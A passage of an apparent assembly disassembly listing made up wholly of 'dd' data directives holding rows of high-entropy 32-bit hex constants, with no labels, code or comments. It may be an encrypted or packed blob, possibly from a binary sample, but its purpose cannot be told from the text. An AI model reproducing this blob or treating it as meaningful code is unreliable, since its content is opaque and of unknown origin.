80A09C4Bh, 4FC1594Eh, 51BD5429h dd 7D0CA0F4h, 0C173B55Ah, 4BBE2121h, 8676A8B5h, 5142045Bh dd 2482EC56h, 0F84EF6D0h, 0ED283D06h, 41D6F921h, 88F0B33Fh dd 6F5B54DCh, 0ABD14C21h, 75A9058Bh, 0AD2415DFh, 412DB24Ch dd 541C971h, 24A6B27Bh, 5895D698h, 835EC596h, 158DA7BBh dd 780BB8BAh, 20DFD82Fh, 98024850h, 108CC164h, 3B11EDBFh dd 1EED56BBh, 532D03Fh, 57596852h, 0EA5AF30Ch, 0DAF1B7A1h dd 0B702F5C9h, 3BAB2876h, 29045902h, 4ED26E5Fh, 0BF3000F5h dd 0D053364h, 5B9484B5h, 2E5CCFBBh, 0D6424408h, 1C322F4h dd 0FC9652Fh, 0B0BA97D5h, 0F03E29C4h, 302F9B51h, 2A95B1CBh dd 0ADBBA154h, 0DEBA9605h, 0F6B8013Ch, 481A6649h, 0CB487DC6h dd 1808430Eh, 3FC2013Eh, 3E59E327h, 0B037F242h, 9E1E26C5h dd 7BC78242h, 2FC108AFh, 56F602CFh, 0EB619A50h, 74A5A45Ch dd 20DDD27Bh, 0D74E52EDh, 45D7B03Fh, 51349391h, 0B7CA6CAFh dd 0BA01BA96h, 2B73301Ah, 0ED108560h, 4B23EA64h, 0F5303763h dd 9A62F201h, 0E0F9F754h, 5CDFE942h, 88133F76h, 0A216BE0Ch dd 7D279ABAh, 77C38BB5h, 41890AE7h, 0C1B59BDFh, 35353C12h dd 1E25241h, 89D13707h, 0F51CABD5h, 7140AB42h, 0F7396857h dd 0B8D63E2Fh, 0A798DC8Dh, 0AFA60B3h, 5EFC116h, 0A90D2CC7h dd 0AEE9E21Ah, 5C0418CBh, 90780227h, 60F931DCh, 23117E5Fh dd 0E913634Ch, 0A9E9D6AAh, 92244DCBh, 3338058h, 651D162Dh dd 5240027Eh, 570AA1EBh, 1F9913BFh, 0E7800044h, 4AE079E1h dd 5EF0A7A0h, 0E907CB0Bh, 0EDF46827h, 2371648h, 1C69FF1Bh dd 4ED3F67Ah, 66C4F2F2h, 13C388D3h, 0F2DF340h, 37DA7EFDh dd 0B2509E44h, 2C277833h, 4C4F51B4h, 5D810CF6h, 0B8135632h dd 0C4D3E864h, 30FB2C70h, 728CF626h, 18E2984Ch, 0E903FFEEh dd 260696ABh, 29104E28h, 9388CB2Dh, 68510084h, 70661CDEh dd 260240B5h, 8F991BE3h, 2E349EE9h, 0E4BA4441h, 331ECE30h dd 31CD0195h, 0B1002215h, 3B6A06E2h, 0E4DA6604h, 40906FDAh dd 4CB0994Eh, 899FA558h, 9B2038E9h, 39E6850h, 40776425h dd 4A24E17Bh, 87E1B0EAh, 0BB77539h, 0F7F8D5E9h, 0CFA0DC1Ch dd 0D1B4E84Dh, 0B4087C6Ah, 7168043Eh, 0C98EAE2Fh, 55257358h dd 1C3DEEF5h, 2D6AFB68h, 9E371457h, 76DCA7B8h, 834DD7Ah dd 3BFCDD20h, 0CF92C688h, 0A6E19150h, 0C8BB00BAh, 38873D7Bh dd 518A0825h, 0B3556215h, 72A45605h, 0C9ED5F1Bh, 7F0AE0C5h dd 7249D6B5h, 35F187C0h, 5820452Fh, 8E6097E3h, 5A02E77Dh dd 0E9F301A2h, 933A76E3h, 182FBFE5h, 0BE18D44Dh, 0F8F37D93h dd 6F0D011Eh, 1F818AD6h, 71DC55ACh, 0F8AF971Dh, 0B8E317CCh dd 0AD3E543Ch, 370A8AB5h, 9992BD03h, 0DAF8CAD2h, 0D45624F5h dd 466F8269h, 0D2E3480Ch, 3645FEE1h, 0C2942780h, 0B7D0DFDBh dd 25707F7Ah, 91638796h, 0BAF7E27h, 0A8EAF090h, 2302D4C2h dd 90F7FE3Dh, 0B5D5BBA7h, 52975F16h, 0CC16BD6Ch, 95DCCC97h dd 5D7220FCh, 68418759h, 0A22B583Bh, 2C08D2C7h, 0C591691h dd 0F5C7D80Eh, 0FD79BC05h, 3CE8553Ch, 212E4920h, 774B3FF9h dd 19305A2h, 0A4BCE5FDh, 9F52F8Dh, 52384C4h, 0DDB05003h dd 9250C283h, 80F0F6E9h, 0D551ED27h, 63F7766Bh, 8F02E8D8h dd 0BF3FFBF7h, 0A378577Fh, 9EB31E49h, 0FAA14952h, 7983B43Bh dd 4391580Fh, 158EC54Eh dd 554BB198h, 0E22BBE23h, 0F05A1A21h, 6095D240h, 8A6863E3h dd 6E7A4C17h, 7F91756Bh, 0F8D5FEC2h, 0C029D56h, 62DD25BDh dd 990F84D1h, 0FDD68905h, 90CE8055h, 0BF59B62Bh, 233590D8h dd 55022B7Eh, 0C058C121h, 30F0F47Dh, 0ED580924h, 2A5B2864h dd 81EB03C5h, 2BB65E6Eh, 0B9F00E2h, 0B2DAE46Bh, 70DD7AC5h dd 2D55C401h, 0ED40383Fh, 5ACFBD60h, 83C4F307h, 29F69E9h dd 5BA5EB45h, 0AB7D01B4h, 0CFCD5532h, 22DBE985h, 0B950BFD3h dd 0D02EAEBAh, 0D11FB8A8h, 11ECB64Eh, 12F00935h, 0E05D93E1h dd 0EA336BFh, 1287413Fh, 89AFD5F7h, 68A9E5DEh, 4CBE387Eh dd 4634C121h, 947B59B2h, 680802AEh, 667F09FFh, 452966Ah dd 0BF3E5637h, 8BEB0462h, 0B34A770Ch, 0D9B0CC50h, 4AA0A89Ah dd 0D4826C6Fh, 96F5259Fh, 0AF874F60h, 84FFB052h, 0C97EF23h dd 9063C9F2h, 253A09AFh, 3F725AECh, 8CE90880h, 6B32E24Ah dd 13D078E4h, 0A8D8F75Eh, 4077075Ah, 0EAF242C6h, 0C1ACCA90h dd 61A70FB8h, 4C3D02D4h, 85D2273Fh, 0BA094399h, 92EE5136h dd 0D8A2AE66h, 0E7DD0128h, 3400AFEh, 23424F28h, 843B1812h dd 1C5C0A9h, 0D8E7BBDAh, 8BADDB85h, 688061B8h, 1F242D9Ah dd 6438E1E6h, 0BFDF0193h, 0F91CCF09h, 37583F41h, 4C875F36h dd 8057FCFEh, 0BD40E624h, 13AFF280h, 0D121BF07h, 2495A3Dh dd 8D0812C9h, 11F3C04Ch, 93DBBC9Dh, 51A5EDC6h, 0B1953E29h dd 425209BFh, 1FB7D6A0h, 5B48FD28h, 14855E4Eh, 0F88AB295h dd 0D7350E92h, 0BEA3566Eh, 29CB4769h, 0F4F0AED5h, 59313FCFh dd 50870F4Ah, 4D45B8E3h, 2E81213h, 5F722909h, 19428714h dd 0FEEDFA0Bh, 0FBDE3360h, 10D577EDh, 800FDA6Ah, 0C10E14C4h dd 0B431EE72h, 0F37F3A70h, 0FF8E9356h, 0E95B494Dh, 4C494CB9h dd 0CF1024C0h, 1A7AF582h, 0FA435542h, 83F3C59Ch, 984EF88Eh dd 540101C2h, 5C6E1608h, 2FA0C20Ch, 0D2C14654h, 0FE07442Dh dd 0F56A83B4h, 0F2E60A4h, 482E13B0h, 0CE39ABB7h, 1612613Ah dd 44BB00D3h, 0A04AE21Ah, 7F6467D6h, 0BA589F6Ah, 0BFD99EA0h dd 181151C0h, 395E20E2h, 1609BB59h, 0DA00621Bh, 4BA436FEh dd 55C32927h, 0DBF98E8h, 33656826h, 533FF702h, 7F7BC1C5h dd 5A5216EFh, 0B243EF51h, 0F1D928E3h, 0BD2A8384h, 1451009Ch dd 0E3814778h, 0C74C18DFh, 62C4A62Ch, 5D977DE6h, 12C47EAAh dd 0F8745699h, 97135593h, 4FE897C2h, 0F829BF4Eh, 0C150B7FDh dd 0B65FF929h, 5C15C06Ah, 80907BAEh, 0D954BF12h, 2C52BB04h dd 0F1765514h, 0CC3F02E5h, 3041058Dh, 0B13CA07Bh, 0A7AA1A3Dh dd 0DF120B61h, 0A9B5F3B0h, 25F52980h, 52F4C581h, 0FD015E81h dd 0A42F6850h, 0D8B55861h, 0B3AC202Bh, 0D8BA5200h, 89E5A5C7h dd 0B5999AD3h, 60170FD1h, 9F2D9CE0h, 642D46E5h, 0D15B48CCh dd 25D2CAB7h, 6BF45BE2h, 7CB89E4Ch, 0E3775C06h, 841A14Ch dd 10F8A22Bh, 0B400BE92h, 7E4C01Bh, 0B190D4F6h, 0E530660Bh dd 0A06B8058h, 0E4E88850h, 3888F3C6h, 0BD0FEE6Dh, 3DD5C7F2h dd 0F7E172A2h, 681269CEh, 1BCB1E91h, 0B9E92912h, 519984BEh dd 0CBCBC252h, 65FA80DDh, 801B2F23h, 0B3206068h, 1CA50B30h dd 6B852E35h, 10D9417h, 9977C88Fh, 2AD1F18Bh, 0AFBB7140h dd 0DF3F5B5Ah, 0B4778452h, 66040267h, 0E2E0D522h, 19111D63h dd 0E32C2961h, 79F0B26h, 5E33977Ch, 690C9B0h, 16519F60h dd 0A374A868h, 65CB10EEh, 0CDD5011Dh, 20830418h, 6C9164C2h dd 271E68A5h, 29B7267Dh, 0AE97167Bh, 0E1EE5125h, 1757EC9Ch dd 0BDAF469Dh, 0EAB9A540h, 261F5B12h, 4AF77CB0h, 0F082D6D1h dd 0C2059A0Fh, 0EB007337h, 880F99CBh, 0DBF73673h, 0C20142CEh dd 0E978A721h, 0DE516F7Dh, 3F318CC3h, 9F30C541h, 0DE87BF05h dd 62DBD8F6h, 0F62E1EDEh, 535D4009h, 12F6B297h, 30A2CE1h dd 7DB551CBh, 0FCC0FC10h, 0F7FBD25h, 74BF4430h, 2A1ADDFAh dd 5E02B383h, 0BD03348Fh, 3CD091C8h, 97CFDAC3h, 22F55C2Dh dd 6AEACD23h, 0C42F5DBh, 0FAC2DB42h, 34AC6E76h, 1F8B752Fh dd 0D4084674h, 9112818h, 0EB88E28h, 0C5E18FD7h, 0E6AAFDA4h dd 357713CAh, 0D6BF6F94h, 0DB2ECD18h, 5A6183B2h, 22B86852h dd 0B73DAF5Fh, 0BA8A2930h, 208FA4D9h, 0B70B85CBh, 84CFFE47h dd 0BB0E8CE4h, 26692286h, 640D4B4Bh, 297A395Ah, 79DE3FD0h dd 4A74BA4Eh, 2C22998h, 34D308D5h, 8E88CA29h, 7BC92708h dd 0FA843F04h, 0B7F400FCh, 0E9DA0B03h, 58D4A055h, 75DD885Ah dd 0D5F62D5Bh, 315C4441h, 68F8DB44h, 2FA80609h, 20FD18B2h dd 6240ABB3h, 2BBA1D66h, 709C3237h, 277EE42h, 0DB329E9Dh dd 148789BCh, 7D6945FEh, 0B41C74D9h, 5D1419A4h, 0AF0F0613h dd 441E51C8h, 559F5BA5h, 65FD4A0h, 0CC71DE8h, 338F9D05h dd 0C70F7385h, 5E9AE5D4h, 5B812EAh, 157FFDCh, 0F123A2CFh dd 4AC44037h, 4367F413h, 0E5A0DF0Ch, 4F34E94Ch, 68617035h dd 0AAA64E22h, 50FFCC9Fh, 61FAA91h, 78AA73BBh, 0B11296E0h dd 380F5C3Fh, 2360A0EBh, 1BE560Ch, 61AB4770h, 3AB64EE9h dd 0F0944737h, 0B052F5A0h, 0FB713F52h, 3D5E4FF8h, 0B5E62C81h dd 0A640C009h, 72DB15h, 5D9052E5h, 92AFF681h, 70B02B27h dd 16579575h, 0CB092724h, 0E94B105Dh, 0AFF44B5Ch, 0AB43D0C9h dd 0DF8DAA11h, 3005728Bh, 1954F9FBh, 981055E6h, 20968604h dd 0FF8278FCh, 79BC86Bh, 61463D9h, 3EFB0B9Ch, 0B95C7953h dd 0BAF84234h, 62C6A15Bh, 5859CC50h, 255494F7h, 0BE0CE1E6h dd 0F45A652Bh, 424BBEC6h, 0CF54E02Ah, 0C4B5C565h, 632F1F64h dd 0D6EB8FF5h, 72C8DDDAh, 3B266246h, 6412963Ch, 0EF6465FEh dd 5142CDA6h, 9B7D5E2Dh, 0BB0FA34h, 0D08315Ch, 1CF0278Eh dd 0B3328B8h, 0B9FB1595h, 0B37A3BE5h, 5CE24B19h, 9362A8C6h dd 565BD927h, 0DAEB9018h, 49C77734h, 0F18BAB0Ch, 0CDC809EAh dd 0F7A20D87h, 0E7E15F09h, 4505DADDh, 0D1B69C0h, 61A76358h dd 0FA90D387h, 0E912D7F7h, 0ABF35BD0h, 500EE310h, 4A004240h dd 0C8E68112h, 0B1DE125h, 0B37BE951h, 70C28B7Ch, 639CF715h dd 0ECC5DEA1h, 82BF4154h, 9AD60200h, 85FF89E6h, 89123098h dd 3021C7B5h, 5AF5E42Bh, 0BA4E4392h, 68C257E9h, 89A31235h dd 98713DAh, 871D73E5h, 0E9784364h, 5884B598h, 0E1E2EE53h dd 0DE6CF992h, 2CEAC313h, 1BB5503Dh, 239B6DAh, 73A16C34h dd 6892D58h, 0B8CC5FDh, 0E6A6C289h, 74096258h, 10E6F5Fh dd 82752166h, 3F17D6DAh, 1CA00851h, 50678914h, 20DC0BE6h dd 0B814540Fh, 257C260Ch, 547046BAh, 6ACB6815h, 0D3D83A9Bh dd 0DBC45FC6h, 0AC02B70Ah, 785A6884h, 90C5C0BCh, 6A35FE33h dd 503ED0AEh, 6012FC68h, 0D1EC2D0Eh, 0B485483Ah, 0E9927F4Dh dd 3521202h, 784DD9AAh, 0E68D8486h, 6C004A09h, 0D91AB7A0h dd 0F9D6292Dh, 16F4690Eh, 0E9118801h, 5A342F8Bh, 565814C1h dd 0D1D213BEh, 27F02167h, 4FD25EF1h, 0F8F14B30h, 27E92877h dd 0FE453C91h, 1B79A53Dh, 0FEEDD963h, 0C12EA049h, 3AE016C3h dd 401EAA28h, 0D45FB777h, 1A48D6B8h, 0AFFEE813h, 0C6483F2Dh dd 5BEE403Bh, 339407ECh, 2FDCD42Dh, 0DB733CFAh, 0F7EC6BEAh dd 1CFE71BFh, 0BF8128Bh, 5EC6949Fh, 5761B669h, 0ADB03490h dd 383457D6h, 76E0E600h, 5EE941C2h, 5D8A1DE2h, 0F3B074BDh dd 0B778486h, 7DC76803h, 0E2B00B2Dh, 35AF9CA5h, 0EA51FAE9h dd 0E916DBCEh, 0FBA452B9h dd 0BF3D728Bh, 52EB1F60h, 3048097Dh, 9FE302A1h, 0D5349A7Ah dd 30C8F72h, 31B1BAE9h, 33B513EAh, 70940458h, 1AFB1D4Eh dd 0D590FDB0h, 0CF1A7CF8h, 5FCE7950h, 3915CB61h, 27F30181h dd 56320806h, 971CE96Ah, 42F74549h, 86FA75A7h, 0BDF11D60h dd 4EEB5443h, 0DD60BE23h, 2F02F83Dh, 817D0540h, 15EBE909h dd 0A4C834h, 81C55EB1h, 5B2F5AC7h, 0CD37058h, 4518A1E9h dd 0DF5E09F2h, 0BD80D452h, 0E7108B1h, 0E6017ABDh, 0A537139Fh dd 4156B902h, 171CA008h, 3C875A12h, 0E9E638EAh, 8B136AE1h dd 66B186ECh, 82443FD3h, 0F01FE4A6h, 0B5671068h, 310C0E60h dd 0C12FCB39h, 0E82B8774h, 0EEF13113h, 93861C5Dh, 16D92FAFh dd 3745F525h, 0DBF77589h, 41F7A51Eh, 0C46259B0h, 0DEEF52CFh dd 0DCE9F0E1h, 487333Ah, 40CA6851h, 407B38B3h, 0FE07BD49h dd 31E35D88h, 56EB59BAh, 89440BA3h, 1D54BD46h, 0E1266889h dd 0F56BAB3Ch, 0FC305FCDh, 1D8442Bh, 82E1810Ah, 8268964Fh dd 3A630F0Ch, 0F660DD12h, 0D05DB4E9h, 54012D53h, 0E70D4960h dd 7662778h, 5A66D030h, 70C2C345h, 13DFF2B2h, 0AFF42F44h dd 890F5C0Eh, 0B300F579h, 704957F0h, 61EDE927h, 9421C067h dd 0FE203A21h, 58ABA63Eh, 631248B4h, 4AF2EF0Ah, 3AF788A1h dd 225F8D91h, 71D50101h, 7D5C7967h, 4FC06DE0h, 0E148B5C5h dd 4D1AF67Ch, 0AC4B6019h, 84E1F28h, 223513BEh, 0BBC44FFCh dd 0F4800330h, 0DAF88555h, 608C266h, 0A2EC027Dh, 29C2E918h dd 1756E669h, 804A4340h, 441ACE3Fh, 0D157AF1Ah, 5E6551Ch dd 7C1E918h, 2712F6E3h, 0C4758046h, 3E91357h, 9364FA19h dd 0A137ADAEh, 0E46BC331h, 0BB41FAAEh, 8B70C83Ah, 6E9F95B0h dd 411298DEh, 2F04ED3Bh, 22204A7h, 58EE8100h, 13CD827h dd 0B85000DEh, 70A2309Ch, 234A4335h, 87000DACh, 0E9C6EBECh dd 59B5A83Eh, 0BF57C045h, 0FD3E33EDh, 6E454C40h, 50FB890Dh dd 0CC5A504Fh, 9D4B1857h, 5DBF6C3Eh, 7776EB25h, 0BB61B98Eh dd 3A1B89BAh, 968B65E3h, 0E9562780h, 56B12BD3h, 0F550AA03h dd 87B2F702h, 7B0CC3CBh, 0E296941Ah, 8002F46Eh, 0F3DFC1EEh dd 182C2AE9h, 2D5A5016h, 0B14415BFh, 90A22BF7h, 0B4B6E093h dd 536C4118h, 9C362E3h, 3E2C105h, 42DA1902h, 0AB9A36C0h dd 317E7817h, 88C7C3A0h, 374BC5E9h, 0BCAF2594h, 7E47476Ch dd 28EB5833h, 2D91795Ch, 937ACC39h, 82060269h, 9F7C339h dd 5D6A1A09h, 96775A5Fh, 205A986Ch, 0D25F65C7h, 4FC15980h dd 85225EEEh, 8890FB06h, 58E41606h, 2A5E6B38h, 2C4B747Ch dd 0C7B8ABAh, 0C9014F68h, 5B3BCFF2h, 0BC64C52Ch, 15754914h dd 0C0A25FA1h, 0C6E86227h, 44BF02E8h, 48E7301Bh, 57843518h dd 0D16037Ah, 601F7645h, 624B11D3h, 4FAF83C1h, 0CC264A68h dd 96E6CF85h, 737C78BFh, 0E329BD58h, 865CF75h, 6603C996h dd 0C927CB68h, 292F2CCEh, 6ECA6FD9h, 0CFB05000h, 0D3F6D886h dd 5F19C2C9h, 91F40C18h, 69705381h, 1AE9440h, 0F877E235h dd 6043F25h, 0FC13C2D9h, 0D6A65E0Bh, 0E68BAB96h, 0B9C1B85Bh dd 68A0813Ch, 0DDA9616Dh, 56BA648Eh, 0FA5F90C4h, 0EF2A3489h dd 4EB5A53h, 0E31B6C34h, 17607C73h, 0BE6B45D5h, 6BDA986Dh dd 0C8DF40FFh, 0B654447Ah, 0DE9B42A1h, 3EFAD05h, 117E57A7h dd 810813E1h, 347BC9C1h, 0F8EC1716h, 0B92EC19Eh, 0E83313EFh dd 2C1F2DBDh, 0E5C93F15h, 3618D5BAh, 45C01145h, 7B2CDAEEh dd 7E0CC137h, 2E46397Ch, 0B8926CADh, 0DCEE2EFBh, 513A182h dd 1B9C235Fh, 4F7F6479h, 0C4E83FE3h, 2E8F55B1h, 0AF393DFAh dd 80D501FCh, 4EA597F5h, 0E0817CE1h, 0A40C33C5h, 40524540h dd 0B5B78DBh, 84F9E9CEh, 450E83A9h, 51DE3860h, 2505E0D1h dd 681C23C2h, 12258BEBh, 3DB84798h, 4878CAC9h, 0D5A72396h dd 18BAB95h, 0DF27B2C7h, 0C11EEE16h, 0C89210E8h, 4D57A116h dd 2D2D8BAh, 46F6074Ah, 36C37C4h, 0C250EAD1h, 0F7F4CCh dd 0C380B5B3h, 18246801h, 0AEC43942h, 0E92BE9A1h, 3144A49Bh dd 5F0B0674h, 12FA1E5Dh, 0AB300E68h, 0B92B8E3Dh, 551D897Bh dd 0A82047C6h, 0BC0B737h, 555E57A4h, 0E93E23FFh, 9C0ABAFCh dd 6147255Ch, 6A0C32D2h, 0A3E86B3Ch, 89094C31h, 0AB504F7Bh dd 2820B1C9h, 0E1CFD640h, 16496E15h, 0B37AF555h, 0C40BBB90h dd 0F019908h, 52DEA466h, 0AF9177ABh, 287C4A89h, 89929823h dd 0C9B2D384h, 0D31509D6h, 0EA5176DCh, 56A69128h, 0D6700E07h dd 4576E975h, 0BFEB5F9Fh, 0D55E700Bh, 5349BACEh, 4D20933Bh dd 9C1001E9h, 0CE28E2BAh, 7B056257h, 0AEF869A6h, 2C622EA1h dd 0C65325D8h, 0B5C5B5F5h, 0B092452Ch, 0C65BA2EEh, 0C1B5D5Fh dd 4ADD68C1h, 99FA919h, 0B8367F41h, 86A3E92Fh, 0F2FD5856h dd 0BE73FFB5h, 9DE17178h, 8D0D2390h, 661C0717h, 30327B9h dd 460C835h, 2C3905D0h, 8A7EBE3Ah, 0EC72ED13h, 374908h dd 6807EFC1h, 989D6240h, 2E534FEAh, 13336999h, 0EB99949Ah dd 64597592h, 9C5B5802h, 54E6E9B1h, 0D51187C5h, 47B5BFEFh dd 326A06F9h, 40D4EB46h, 4E8BA42h, 0FEECAB2Dh, 0F67E824Eh dd 0BD26DDD6h, 9463C00Ch, 95F8248h, 51BFC0E9h, 0B3F51EB5h dd 0E19C8DDAh, 2036014h, 78DE4771h, 5B6FAFCh, 629AF96Bh dd 0E22DEB54h, 0C1C70FE0h, 605DBA10h, 0ED4AEDD2h, 0CBC56A76h dd 0EC7EDACAh, 0E87ED3DDh, 6E2E1346h, 5F84BFC8h, 0DD00C2C8h dd 0A4FAEE25h, 1F4B0FCEh, 0BAE8BEEh, 0D15FC168h, 70D38908h dd 0BF019EDDh, 0C740B42h, 0BB96DF2Dh, 0DD54B0C9h, 0CB3C6FE4h dd 959F7920h, 28802FD8h, 6AEA8033h, 0C0E2D01Dh, 0C2FE0742h dd 0C5C48066h, 3059B450h, 0E904DCF6h, 99B57912h, 0E2354C4Ah dd 0C0DDFCh, 0B25207EDh, 22F280A2h, 0D388531Fh, 0DA3D74B9h dd 0BEC2895Bh, 252CD030h, 1AB5991h, 2E8F9357h, 898B3128h dd 992BD8E9h, 9EF31CDFh, 0CE010902h, 257435FCh, 0E2635CE9h dd 13A7FECDh, 0BBB46E48h, 1C9EC166h, 254BD068h, 5DBE32F7h dd 8A6871B0h, 0D9EC784Fh, 0EC77C8C4h, 61B2C0A0h, 558305Ah dd 0B10AA3BBh, 3E90BA22h, 483BCFCBh, 3D1293FDh, 93204EBh dd 602699C2h, 6600EE16h, 0FE051884h, 552E779h, 2A412C25h dd 0B0B9825Ch, 82E92B74h, 4562B2Dh, 0C980AA5Dh, 1F68727Ch dd 474DB927h, 5E9548Fh, 2F75C976h, 9A5A9E52h, 55E7784h dd 587AE9F0h, 7E813991h, 3153AA52h, 0D4BF322h, 0AF4041ACh dd 866C2720h, 3CE02800h, 0E912652Dh, 13A3E85Ah, 178DF61Ch dd 8858AB80h, 12C5A2Eh, 970567DAh, 9C16F020h, 34DED450h dd 0F0D6E909h, 0A25A5BC7h, 0D5311CDFh, 10E2EA99h, 5EB4917Bh dd 4BBE2D49h, 0BB0D8AC0h, 0E47EB011h, 0C2DF76A3h, 0D6015D36h dd 0DD6BC451h, 194125B2h, 6E469E8h, 84456AC5h, 0ABBA16FCh dd 0AF25132Eh, 67D2A5F0h, 503F7442h, 64E91F70h, 0C2F56CF7h dd 64FEDAE7h, 0FC5B4C02h, 403CF826h, 4091184Eh, 85BF82D2h dd 5491EEE3h, 2A197301h, 0E10DFF6h, 0B9127E03h, 0CFEFC22Ch dd 0B7E90BE0h, 7720122Eh, 509044F0h, 0C0A64E20h, 451A1C7Eh dd 0CF09054Bh, 29023E35h, 0A008E868h, 8371C221h, 3B60B753h dd 0C73D80E7h, 392C38A3h, 5B4BF4F8h, 418CCBE4h, 629C00BCh dd 6617F75Fh, 57AFBE56h, 35DBC70Ah, 8F5782D5h, 66EF1A5Ch dd 217AC69h, 0E4E887F6h, 4AF7053Eh, 6807DD66h, 6804188Eh dd 0ED8C48FDh, 34534956h dd 659B3E0Bh, 2540D580h, 7A0136FCh, 39DA0D45h, 932037B6h dd 6B3F1259h, 359FC341h, 0FCAC88C8h, 0F7EDE92Dh, 0DEC4DE84h dd 0C5E90CCAh, 0BC61F0Bh, 0DEE34065h, 5C7BC9D5h, 0C9673C25h dd 855DE91Ch, 0B2FEFF2Dh, 980B1750h, 876737D1h, 0E8F1647Bh dd 1516724Ch, 15C04655h, 1262A25Ah, 0AE6C73E9h, 7EB2C977h dd 0C535E621h, 0C3810206h, 6D8B2855h, 97260C38h, 5CE13FB8h dd 7464FD40h, 0ADC4A0E7h, 0DAEAB727h, 0EC26BA02h, 363CB800h dd 861C60C0h, 607A0C7Ch, 0B9828FA0h, 9598418h, 0C22B6130h dd 0F6E8B240h, 85140FE0h, 17A18BAAh, 6E700E68h, 2AE9692Ch dd 2CF10750h, 6BC0128Dh, 79963D02h, 1641EF5h, 0FEF2B050h dd 6482E9C0h, 0CF4F8938h, 0C7BFC312h, 0BAC36429h, 0FF4A35A2h dd 0B2E94105h, 552400A8h, 3D81B911h, 2AF7BD01h, 83DE4179h dd 82977EB4h, 15F03C21h, 0C1DFB132h, 3D1C7EEDh, 0C4503E7Bh dd 4A4B5A08h, 0BE76604Ch, 4D641696h, 4056B865h, 730AFBC4h dd 0D44F221Ch, 45587D02h, 54E6AF1Ah, 7E3600BDh, 0E6811159h dd 293012D1h, 9A9A0165h, 3006A119h, 4D3F5BADh, 3CFC60C8h dd 1238E129h, 13F6F4E9h, 0EDF2AA3Dh, 0D0D889C4h, 0A29C655h dd 685993A0h, 0F13A882Dh, 25AE6C5Fh, 1D065205h, 0E5EAC8E9h dd 16CBF06Eh, 942D020Fh, 54242B72h, 9707201Dh, 59B13A00h dd 0FDDB3642h, 0FBC80607h, 0C3ABB1Fh, 61771E01h, 0FDF1E90Dh dd 0CFF76Fh, 0E1685251h, 0B073330Ah, 0C15C7F1Eh, 1FD8CEC5h dd 0D003F3EAh, 21F06E78h, 485E9889h, 28A9092Dh, 205508BDh dd 0B7523506h, 0F10D5B39h, 57CE6E0Eh, 19FEB4Dh, 0F76616F1h dd 0D0843A5Dh, 27AE4180h, 313A7852h, 0F7B22468h, 6C1E7D3h dd 0C19D83E1h, 84253717h, 185ED4EFh, 13064208h, 582BBD2Dh dd 3082E36Dh, 0BF0EA5F0h, 9602AF8Bh, 28750836h, 0E9090866h dd 0FBA4D5F0h, 0F1E3FFA7h, 87E1C92Eh, 3B62B3B9h, 0EE4A3902h dd 54F2C56h, 49BEFBBEh, 0C25D2DB2h, 27096444h, 0B79E63DAh dd 0AA94F595h, 8950F49Dh, 51FAF387h, 1E7E4CEAh, 32B0355Fh dd 8A534A59h, 1E0F5077h, 76E43214h, 755D09E5h, 4B330E14h dd 66B81999h, 90ABFC3Ah, 41BB009Eh, 5E95F0Dh, 9CDB336h dd 504E4C6Dh, 806462F6h, 0A680C117h, 0F9296638h, 8176361h dd 575D5AD2h, 41EBBC5Eh, 0A63B1114h, 0CA885E52h, 0B105055Fh dd 0BB691A67h, 70B8284h, 3096C659h, 0E287FC02h, 0B62C2C2Eh dd 0B310E426h, 768DB902h, 0D2DE6CE8h, 17E27208h, 43CEEA58h dd 42891B58h, 0BB81F6D1h, 30131E8Ch, 3E2C44F5h, 10B0049Eh dd 2016BF14h, 841D260Bh, 0CCBFA250h, 432CE93Eh, 75497921h dd 62E77BD0h, 21386E89h, 57074112h, 0BD6C6920h, 875EC7A7h dd 0E032C9F8h, 7A368549h, 6F4185A7h, 8A285960h, 2FB265F7h dd 86AC9865h, 507BE989h, 0B25E5F80h, 88AF930Fh, 0D6491179h dd 0B6EF03C8h, 0DAB7CAB8h, 1BF728Fh, 0DD205C5h, 0A5EE01AEh dd 48546158h, 0FA5774D9h, 20E8C7D4h, 0DC27A107h, 84FB947Ch dd 0AE0817CBh, 2617F6CBh, 42DBE55Bh, 0ED7417AEh, 0C98C7969h dd 2C730055h, 820FB21Ch, 94AE83D7h, 974CBE37h, 4E2029F8h dd 0C68005C3h, 0E2F320CAh, 85BD9F5Ah, 9FE95172h, 0E5936AF1h dd 9EDF0EFh, 7927D77Eh, 0C5B37F15h, 7DB6BE13h, 87065EB2h dd 8D1F7CFh, 0FBC6A2BDh, 68ECB042h, 53769D29h, 0D15F5443h dd 0F72E1175h, 1B405E24h, 657135E8h, 7C1225E9h, 430AEDE5h dd 0C58EDFE8h, 0A251C644h, 685D09C4h, 965D58E3h, 5B8EB01Fh dd 5553228Fh, 5678FC55h, 4AE5B3D0h, 4AD8CFABh, 84C774FBh dd 4A38ACC3h, 7F1A2DFFh, 0C6B14CBCh, 0B8D881D4h, 36954382h dd 71CA86Ah, 29B02105h, 708BE932h, 97F2EE18h, 0B5507076h dd 1949E247h, 50E233E9h, 3F0F7B66h, 9607D3CBh, 0E500C4B4h dd 0FFD52858h, 974F5160h, 9D09785Ah, 0D57A1343h, 135EC584h dd 3060DBF5h, 3D725C80h, 42CB8103h, 6C15606Ah, 2D539EDh dd 80D858F2h, 2857DC7Dh, 0DCA3351Bh, 75ED068Ah, 80060CE0h dd 586620C3h, 0E1645892h, 5544E637h, 53854341h, 3EEAFAB3h dd 0DF9DAF70h, 27894DABh, 2CA29546h, 7EE5CA40h, 84EB8BC7h dd 89126127h, 0C1AB61DFh, 2E0C000h, 7EDD70C9h, 62415A19h dd 2E1135E8h, 680E70FDh, 0BA134B92h, 0A79656A3h, 0C821C4FBh dd 5481C7FCh, 342BC7E9h, 1B134BF3h, 0F0AB17B3h, 31B80361h dd 21C46EC7h, 73A2C967h, 21E077B8h, 38CE58D2h, 0BAC9BDF6h dd 7B9590B9h, 1DEF0C79h, 0E90B7DBFh, 0BED55929h, 1A213B09h dd 1FABDD8Fh, 81381E7Fh, 0D2048C99h, 0F5824184h, 46DFC488h dd 0D36B341Dh, 64DAAB60h, 0D0ACE45Ah, 31E1CF9Ah, 0D40FE09Dh dd 0C9277997h, 207784D5h, 2AB91258h, 54610516h, 4F5AD802h dd 0BAB7E097h, 0F8141384h, 0FFAD087Bh, 9E685B02h, 978B4C17h dd 769676FAh, 160DB2Dh, 27C47EDh, 0F2E32F5Eh, 35062910h dd 2701345Dh, 39A727D5h, 0B4F43220h, 7E5DD2F8h, 6E2C4060h dd 609720C9h, 804B17CEh, 6C5F1D68h, 54CF5B31h, 84E7BC04h dd 6807D2BFh, 0FF129E36h, 0E65EB8CEh, 3AD516FEh, 95BAA9C8h dd 0B770BDFh, 9C3175EDh, 